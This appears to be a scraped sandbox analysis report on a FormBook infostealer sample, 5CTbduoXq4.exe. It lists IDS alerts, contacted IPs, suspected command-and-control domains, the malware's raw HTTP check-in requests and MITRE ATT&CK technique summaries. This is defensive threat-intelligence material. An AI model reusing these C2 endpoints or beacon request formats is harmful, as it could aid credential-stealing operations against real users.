Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.11.20:49846 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49823 -> 209.74.77.107:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49843 -> 146.88.233.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49837 -> 38.46.13.54:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.11.20:49787 -> 38.46.13.54:80

Source: Joe Sandbox View	IP Address: 146.88.233.115 146.88.233.115
Source: Joe Sandbox View	IP Address: 161.97.142.144 161.97.142.144

Source: Joe Sandbox View	ASN Name: BTEL-BG-ASBG BTEL-BG-ASBG
Source: Joe Sandbox View	ASN Name: PLANETHOSTER-8CA PLANETHOSTER-8CA
Source: Joe Sandbox View	ASN Name: CONTABODE CONTABODE
Source: Joe Sandbox View	ASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS

Source: 5CTbduoXq4.exe	Virustotal: Detection: 57%			Perma Link
Source: 5CTbduoXq4.exe	ReversingLabs: Detection: 91%

Source:	DNS query: www.070001325.xyz
Source:	DNS query: www.oneeyetrousersnake.xyz

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/html; charset=UTF-8Date: Fri, 10 Jan 2025 22:21:43 GMTServer: nginxVary: Accept-EncodingContent-Length: 44Connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/html; charset=UTF-8Date: Fri, 10 Jan 2025 22:21:46 GMTServer: nginxVary: Accept-EncodingContent-Length: 44Connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/html; charset=UTF-8Date: Fri, 10 Jan 2025 22:21:49 GMTServer: nginxVary: Accept-EncodingContent-Length: 44Connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/html; charset=UTF-8Date: Fri, 10 Jan 2025 22:27:13 GMTServer: nginxVary: Accept-EncodingContent-Length: 44Connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/html; charset=UTF-8Date: Fri, 10 Jan 2025 22:27:16 GMTServer: nginxVary: Accept-EncodingContent-Length: 44Connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Encoding: gzipContent-Type: text/html; charset=UTF-8Date: Fri, 10 Jan 2025 22:27:19 GMTServer: nginxVary: Accept-EncodingContent-Length: 44Connection: closeData Raw: 1f 8b 08 00 00 00 00 00 00 03 0b cd 4b 4c ca 49 55 28 c9 57 48 4f 2d 51 48 ce cf cb 4b 4d 2e c9 cc cf 03 00 83 11 dc 67 18 00 00 00 Data Ascii: KLIU(WHO-QHKM.g

Source: global traffic	HTTP traffic detected: GET /gebt/?oRQ0=OV24X0&kR8XbB2P=vv4Z5oAEVW8Fnw5/zn34qddpesTmADAa7eW6m5kMXrJjwDKHwLvNIch6hCLbwWC7cjqqbjXxYb26MUHQV2edm3lgIJJElGJSFpRc3yLJsQRBHErejb5RRes= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.070001325.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /2gcl/?kR8XbB2P=1IksVaFM1cAemyK1l5ibYOVg5dxMTrzYdVbJCfEKBOY5tDFEgZGIVKjooGjxZE8Rq+UWfqPa15shq7PO0tNmdeev1y5xTRUReV/PBfbDdzVIdNqY/oiP6dc=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.expancz.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ+isyn9ImFwYYAXgcLCIKDKHWgUlwantPJ7uipU91pPV1usxBfeqldUzKMcEzEqEqzjLYIyojlXJBsWiDp4MAl1o0ML8Q=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.taxiquynhonnew.clickConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /a6qk/?kR8XbB2P=aEceZcxMCBryYHP4s+yLRqZjj36KEl+8Dq1kpoaXpw1kPmwya2N1upoJGmxyu00sisqpLeUFyGY8IB1P90PsZa04d5WZgg6Sd94nDaj3ysE1HtnwBN18NaQ=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.learnwithus.siteConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ao44/?kR8XbB2P=A8vWRSiUvmcasJ07/NpOWS/H0MqtLTroBnzJfQrGbsug5jYLYHm4CN9bVirMn9O9ScG8tIl9AuaKp46Lw3rsCpOYQ0f4st+AaewtJ/VKFlp1ZaW7QUFsLc4=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.jijievo.siteConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /nqht/?oRQ0=OV24X0&kR8XbB2P=367OndwPLlg1rtVGy+jbU6farMLhf6e9pQ84yAc488vbfZMJt5Z+Hw3z7hXrMCY/VZoR2j/nhh+f1b5vdUOqOwhZk8/Fem9ynApq8ifvkQ/WJsnn/mcVkec= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.likesharecomment.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /jo65/?kR8XbB2P=hjaxT7ABO46ercCzU5jTbSXY4mrNqLZSBJHcmNwepChuPKFV1mqvJ62aMu+yfR8UiTr4IO7Rg/lCNSZ1SGAGOdoGTm5yu7zX00VDXrhTS1wkXbjXSP7JuDM=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.397256.pinkConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /3jkd/?oRQ0=OV24X0&kR8XbB2P=viqvvCAhbaK/XzQZUz/lY2liCTl6q/4oZG6aYolEdOIRljqehA+X2d4A19u6o+Q4sdEI/GJ3MO62J6fzB1X/Ewa0fcqnV5vszuHoPlnDmrWLQllTqa4ER4w= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.windsky.clickConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /d0ie/?kR8XbB2P=PpBKX3j27/q2RET7vQCRcB12LbcAd2XcLUxm8s0q4RgJtpH2c7muacbg9DKvGIpjEVtHl43RcrDWdq7OAyJmqhK4ooMesKrpt7PRBDGK2bCSIZc4egA7CPo=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.smartcongress.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ior4/?kR8XbB2P=qN30lcONX0xcpHUAAhvyj1Pv1cDbnDATbaHk9wrQRLO/f97LhCWTCN+B+7oddRZtH3jrumds1aNZL30micA1Qm7DijxG6YFVsewlnHAo5bGZBCo69txMx8s=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.oneeyetrousersnake.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /gebt/?oRQ0=OV24X0&kR8XbB2P=vv4Z5oAEVW8Fnw5/zn34qddpesTmADAa7eW6m5kMXrJjwDKHwLvNIch6hCLbwWC7cjqqbjXxYb26MUHQV2edm3lgIJJElGJSFpRc3yLJsQRBHErejb5RRes= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.070001325.xyzConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /2gcl/?kR8XbB2P=1IksVaFM1cAemyK1l5ibYOVg5dxMTrzYdVbJCfEKBOY5tDFEgZGIVKjooGjxZE8Rq+UWfqPa15shq7PO0tNmdeev1y5xTRUReV/PBfbDdzVIdNqY/oiP6dc=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.expancz.topConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /y49d/?kR8XbB2P=m6DqfWTYFUU8GAEIGAoCC4XWRVZ+isyn9ImFwYYAXgcLCIKDKHWgUlwantPJ7uipU91pPV1usxBfeqldUzKMcEzEqEqzjLYIyojlXJBsWiDp4MAl1o0ML8Q=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.taxiquynhonnew.clickConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /a6qk/?kR8XbB2P=aEceZcxMCBryYHP4s+yLRqZjj36KEl+8Dq1kpoaXpw1kPmwya2N1upoJGmxyu00sisqpLeUFyGY8IB1P90PsZa04d5WZgg6Sd94nDaj3ysE1HtnwBN18NaQ=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.learnwithus.siteConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ao44/?kR8XbB2P=A8vWRSiUvmcasJ07/NpOWS/H0MqtLTroBnzJfQrGbsug5jYLYHm4CN9bVirMn9O9ScG8tIl9AuaKp46Lw3rsCpOYQ0f4st+AaewtJ/VKFlp1ZaW7QUFsLc4=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.jijievo.siteConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /nqht/?oRQ0=OV24X0&kR8XbB2P=367OndwPLlg1rtVGy+jbU6farMLhf6e9pQ84yAc488vbfZMJt5Z+Hw3z7hXrMCY/VZoR2j/nhh+f1b5vdUOqOwhZk8/Fem9ynApq8ifvkQ/WJsnn/mcVkec= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.likesharecomment.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /jo65/?kR8XbB2P=hjaxT7ABO46ercCzU5jTbSXY4mrNqLZSBJHcmNwepChuPKFV1mqvJ62aMu+yfR8UiTr4IO7Rg/lCNSZ1SGAGOdoGTm5yu7zX00VDXrhTS1wkXbjXSP7JuDM=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.397256.pinkConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /3jkd/?oRQ0=OV24X0&kR8XbB2P=viqvvCAhbaK/XzQZUz/lY2liCTl6q/4oZG6aYolEdOIRljqehA+X2d4A19u6o+Q4sdEI/GJ3MO62J6fzB1X/Ewa0fcqnV5vszuHoPlnDmrWLQllTqa4ER4w= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.windsky.clickConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36
Source: global traffic	HTTP traffic detected: GET /d0ie/?kR8XbB2P=PpBKX3j27/q2RET7vQCRcB12LbcAd2XcLUxm8s0q4RgJtpH2c7muacbg9DKvGIpjEVtHl43RcrDWdq7OAyJmqhK4ooMesKrpt7PRBDGK2bCSIZc4egA7CPo=&oRQ0=OV24X0 HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.smartcongress.netConnection: closeUser-Agent: Mozilla/5.0 (Linux; Android 5.1; XT1055 Build/LPA23.12-21-1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.133 Mobile Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.070001325.xyz
Source: global traffic	DNS traffic detected: DNS query: www.expancz.top
Source: global traffic	DNS traffic detected: DNS query: www.taxiquynhonnew.click
Source: global traffic	DNS traffic detected: DNS query: www.epitomize.shop
Source: global traffic	DNS traffic detected: DNS query: www.learnwithus.site
Source: global traffic	DNS traffic detected: DNS query: www.jijievo.site
Source: global traffic	DNS traffic detected: DNS query: www.likesharecomment.net
Source: global traffic	DNS traffic detected: DNS query: www.397256.pink
Source: global traffic	DNS traffic detected: DNS query: www.windsky.click
Source: global traffic	DNS traffic detected: DNS query: www.smartcongress.net
Source: global traffic	DNS traffic detected: DNS query: www.theressome123ppl.info
Source: global traffic	DNS traffic detected: DNS query: www.mdpc7.top
Source: global traffic	DNS traffic detected: DNS query: www.oneeyetrousersnake.xyz
Source: global traffic	DNS traffic detected: DNS query: www.zkdamdjj.shop
Source: global traffic	DNS traffic detected: DNS query: www.nonpressure.beauty
Source: global traffic	DNS traffic detected: DNS query: www.cssa.auction
Source: global traffic	DNS traffic detected: DNS query: www.acond-22-mvr.click

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 5CTbduoXq4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\5CTbduoXq4.exe.log

C:\Users\user\AppData\Local\Temp\UQ63g7r-

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
5CTbduoXq4.exe

Function 0288D211 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Function 0288D218 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Function 028883FF Relevance: 1.8, APIs: 1, Instructions: 289
COMMON

